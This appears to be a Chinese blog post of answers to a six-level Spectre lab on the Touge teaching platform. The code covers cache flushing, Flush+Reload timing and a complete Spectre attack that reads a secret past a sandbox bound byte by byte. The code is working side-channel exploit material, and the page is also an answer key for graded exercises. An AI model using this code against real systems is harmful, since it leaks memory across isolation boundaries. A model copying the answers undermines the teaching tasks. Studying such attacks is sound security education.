第1关:Cache vs Memory

// 补全下方代码,完成array[0*4096]至array[9*4096]数据的缓存驱逐

/**************************************************/

for(i=0; i<10; i++)

_mm_clflush(&array[i*4096]);

/**************************************************/

第2关:基于Flush+Reload的侧信道实现

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据上一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

// 驱逐缓存Cache,请在下方补充代码,将array[0*4096+DELTA]至array[255*4096+DELTA]等数据从缓存中强制驱逐

/**************************************/

for (i = 0; i < 256; i++)

_mm_clflush(&array[i*4096+DELTA]);

/**************************************/

//请补全并下方代码,获得i*4096 + DELTA位置元素的访问时延,并将小于门限的访问行为判定为缓存命中,按照指定格式输出结果。

for(i = 0; i < 256; i++){

addr = &array[i*4096 + DELTA];

   time1 = __rdtscp(&junk);

   junk = *addr;

   time2 = __rdtscp(&junk) - time1;

if (time2 <= CACHE_HIT_THRESHOLD){

printf("访问array[%d4096 + %d]元素时发生缓存命中,时延%d.\n", i, DELTA, (int)time2);

printf("秘密值Secret = %d(字符:'%c')。\n", i, i);

fprintf(fp,"秘密值Secret = %d(字符:'%c')。\n" ,i, i);

}

}

第3关:Spectre预测执行

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

// 请补全下方代码并取消注释,①将victim()函数中分支判断需要的数据'size'从缓存中驱逐,以在后续调用中触发预测执行;②将array数组中i*4096+DELTA处的数据从缓存中驱逐,以便后续reload阶段判断目标数据是否被加载。

// /*******************************************

_mm_clflush(&size);

for (i = 0; i < 256; i++)

_mm_clflush(&array[i*4096+DELTA]);

// ********************************************/

第4关:Spectre攻击简单实验

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

// 补全下方代码,将上界、下界以及array的数据从缓存中驱逐。

/***********************************************************/

//驱逐上界数据

_mm_clflush(&bound_upper);

//驱逐下界数据

 _mm_clflush(&bound_lower);

//驱逐array中的数据

for(i=0;i<256;i++){

_mm_clflush(&array[i*4096+DELTA]);

}

/***********************************************************/

这一关可能会出现测评失败的现象,只需要多提交几次自测运行后再提交就可以了

第5关:Spectre攻击实验改进

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

//补全下方代码,当每次字符i被命中一次,对应的积分+1

/*************************************/

for (i = 0; i < 256; i++) {

addr = &array[i * 4096 + DELTA];

 time1 = __rdtscp(&junk);

junk = *addr;

time2 = __rdtscp(&junk) - time1;

 if (time2 <= CACHE_HIT_THRESHOLD){

scores[i]++; 

}

}

/*************************************/

// 补全下方代码,从scores数组中找到最大值,并将其索引值赋值给max

/*************************************/

for(i=0;i<256;i++){

if(scores[i]>scores[max]){

max=i;

 }

}

/*************************************/

第6关:Spectre攻击窃取敏感信息实战

/* 请去掉下面一行的注释,并将括号中的'THRESHOLD'替换为具体门限值,该门限值可以根据第一关中测得的缓存命中时延设定*/

#define CACHE_HIT_THRESHOLD (80)

//补全下方代码,初始化array数组,并将所有相关数据从缓存中驱逐

/*************************************/

 int i;

// 初始化数组,避免Copy-on-Write等优化机制对实验结果产生影响

for (i = 0; i < 256; i++){

array[i*4096 + DELTA] = 1;

}

// 驱逐缓存

for (i = 0; i < 256; i++){

 _mm_clflush(&array[i*4096 +DELTA]);

/*************************************/

//补全下方代码,完成高速缓存侧信道的Reload步骤,根据缓存命中情况,更新score数组

/*************************************/

 int i;

  volatile uint8_t *addr;

  register uint64_t time1, time2;

  int junk = 0;

 for (i = 0; i < 256; i++) {

    addr = &array[i * 4096 + DELTA];

    time1 = __rdtscp(&junk);

    junk = *addr;

    time2 = __rdtscp(&junk) - time1;

    if (time2 <= CACHE_HIT_THRESHOLD){

      scores[i]++; 

    }

  }

/*************************************/

//补全下方代码,针对指定的内存位置,开展Spectre攻击,包括缓存清空、CPU训练、缓存驱逐、预测执行和缓存加载等环节

/*************************************/

int i;

  uint8_t s;

  volatile int z;

for (i = 0; i < 256; i++)  {

     _mm_clflush(&array[i*4096 + DELTA]);

    }

// 训练CPU,使其在攻击时进入期望的预测分支.

for (i = 0; i < 10; i++) {

    get_info_sand_box(i);  

  }

// 将上界、下界以及array的数据从缓存中驱逐。

 _mm_clflush(&bound_upper);

  _mm_clflush(&bound_lower); 

  for (i = 0; i < 256; i++)  {

         _mm_clflush(&array[i*4096 + DELTA]);

         }

 for (z = 0; z < 100; z++)  {  }

// 调用沙箱访问函数,利用预测执行漏洞访问合法内存边界之外的秘密值

 s = get_info_sand_box(index_beyond);

  if(s!=0){

    array[s*4096 + DELTA] += 88;  

    }

/*************************************/

//补全下方代码,针对敏感信息secret的每个字节,逐个进行提取,每个字节的提取操作执行1000次,并按照指定格式输出提取结果及其积分值(可以包括最优值与次优值,即score最大的值和第二大的值的索引)。

//打印示例:printf("第%d个秘密字符的最优值 \'%c\' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);

/*************************************/

int i;

  uint8_t s;

  fp=fopen("/home/result.txt","w");

  size_t index_beyond = get_addr_offset();

  flushSideChannel();

int len = get_secret_len();

  int k = 0;

  while(--len>=0){

    for(i=0;i<256; i++) {

      scores[i]=0; 

    }

  for (i = 0; i < 1000; i++) {

    spectreAttack(index_beyond+k);

    usleep(10);

    reloadSideChannelImproved();

  }

int max = 0; 

  int runner_up = 0; 

  for (i = 0; i < 256; i++){

    // printf("%d ", scores[i]);

    if(scores[max] < scores[i]) {

        max = i;

    }

  }

  for (i = 0; i < 256; i++){

    if(scores[runner_up] < scores[i] && i!=max) {

        runner_up = i;

    }

  }

printf("第%d个秘密字符的最优值 '%c' (ASCII: %d) 积分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);

    printf("次优值 '%c' (ASCII: %d) 积分:[%d]\n", (runner_up > 31 && runner_up < 127 ? runner_up : '?'),

 runner_up, scores[runner_up] );

fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));

k++;

}

/*************************************/

Spectre侧信道攻击过程验证【头歌教学实践平台】相关推荐

  1. 头歌-信息安全技术-Spectre侧信道攻击过程验证

    头歌-信息安全技术-Spectre侧信道攻击过程验证 一.第1关:Cache vs Memory 1.编程要求 2.评测代码 二.第2关:基于Flush+Reload的侧信道实现 1.编程要求 2.评 ...

  2. 图应用之最短路径问题(头歌教学实践平台)

    第1关:最短路径问题 任务描述 本关任务:编写代码完成 Dijkstra 算法的 Python 实现,解决图的最短路径问题. 相关知识 为了完成本关任务,你需要掌握: 1.什么是最短路径问题: 2.如 ...

  3. 图的遍历之深度优先(头歌教学实践平台)

    第1关:骑士周游问题 任务描述 本关任务:编写代码建立骑士周游图,并解决骑士周游问题. 相关知识 为了完成本关任务,你需要掌握: 1.骑士周游问题的基本概念: 2.如何建立骑士周游图: 3.如何实现骑 ...

  4. 头歌教学实践平台(高级程序语言设计(c))

    目录 一.顺序结构程序(二) 1.输出字符的ASCII码 2.看看你的成绩 3.相反次序重新组合 4.一元二次方程的根 二.选择结构程序设计 1.排序 2.选择结构-闰年判断 3.选择结构-分段函数问 ...

  5. Intel CPU 易受新型的 SGAxe 和 CrossTalk 侧信道攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 网络安全研究员发现了两种针对当代 Intel 处理器的攻击,可泄露CPU 可新执行环境 (TEE) 中的敏感信息. 第一种攻击名为 & ...

  6. 【安全硬件】Chap.6 IC和半导体产业的全球化;芯片生产猜疑链与SoC设计流程;可能会存在的安全威胁: 硬件木马、IP盗版、逆向工程、侧信道攻击、伪造

    [安全硬件]Chap.6 IC和半导体产业的全球化:芯片生产猜疑链与SoC设计流程:可能会存在的安全威胁: 硬件木马.IP盗版.逆向工程.侧信道攻击.伪造 背景 1. IC和半导体产业的全球化 2. ...

  7. 简单来看看什么是侧信道攻击

    前言 之前在看逻辑层面的安全,其中有个旁路攻击,书里面说这玩意就是防范侧信道攻击. 旁路攻击又被称为旁路信道攻击或侧信道攻击.这种硬件层面的攻击通常以从电子设备获取机密信息为目标.对于密码算法,加密是 ...

  8. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol52]43 为AES 对抗侧信道攻击的防御

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 为AES描述一些基础的(可能无 ...

  9. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol Cryptography][第39篇]侧信道攻击和故障攻击有什么区别

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 侧信道攻击(Side-chan ...

最新文章

  1. 刚刚,中国空间站核心舱“天和”出征太空!
  2. wsl安装配置vscode(亲测有用)
  3. Codeforces 603A Alternative Thinking
  4. 提高编程水平的一段必经之路,研读官方文档
  5. js 计时器无法清除是为什么
  6. 是单向链表吗_一步一步教你从零开始写C语言链表
  7. Redis如何高效实现点赞、取消点赞功能
  8. SLAM_四元数取逆-Quaternion Inverse - 已验证
  9. 按shift键调出命令行的脚本
  10. SimpleITK读取DCM文件
  11. CentOS 7.6安装配置MariaDB异步主从复制
  12. [HR面试] 65个最常见的面试问题与技巧性答复
  13. 【Python游戏】Python各大游戏合集(5):塔防游戏、飞机大战、连连看、打地鼠、记忆翻牌 | 附带源码
  14. 常见遥感卫星基本参数大全
  15. emmx文件用什么软件打开电脑_我告诉你emmx文件怎么打开
  16. linux echo命令做运算,linux常用计算命令
  17. 微软最爽命令行工具将成 Win11 默认终端
  18. MCU_如何通过硬件VID 查找生产厂家
  19. 2023进销存软件排行榜
  20. mes系统 mysql 开发_MES系统集成方式

热门文章

  1. 系统集成项目管理工程师:第22章职业道德规范学习笔记
  2. python 安装包 tar.gz 转 whl
  3. 计算机二级c语言 笔试题 历年,计算机二级C语言笔试历年真题及答案
  4. USB移动存储外设在设计行业的管控建议
  5. 加密越来越简单——用JavaScript实现数据加密和解密
  6. php yaf环境启动,yaf框架教程(3)- yaf框架环境配置
  7. 绿盟安全扫描前端出现邮箱地址风险的处理方法
  8. Flutter run:What went wrong: A problem occurred configuring root project ‘android‘ 解决方案
  9. android 电源/充电/库仑
  10. 计算机网络通信原理部分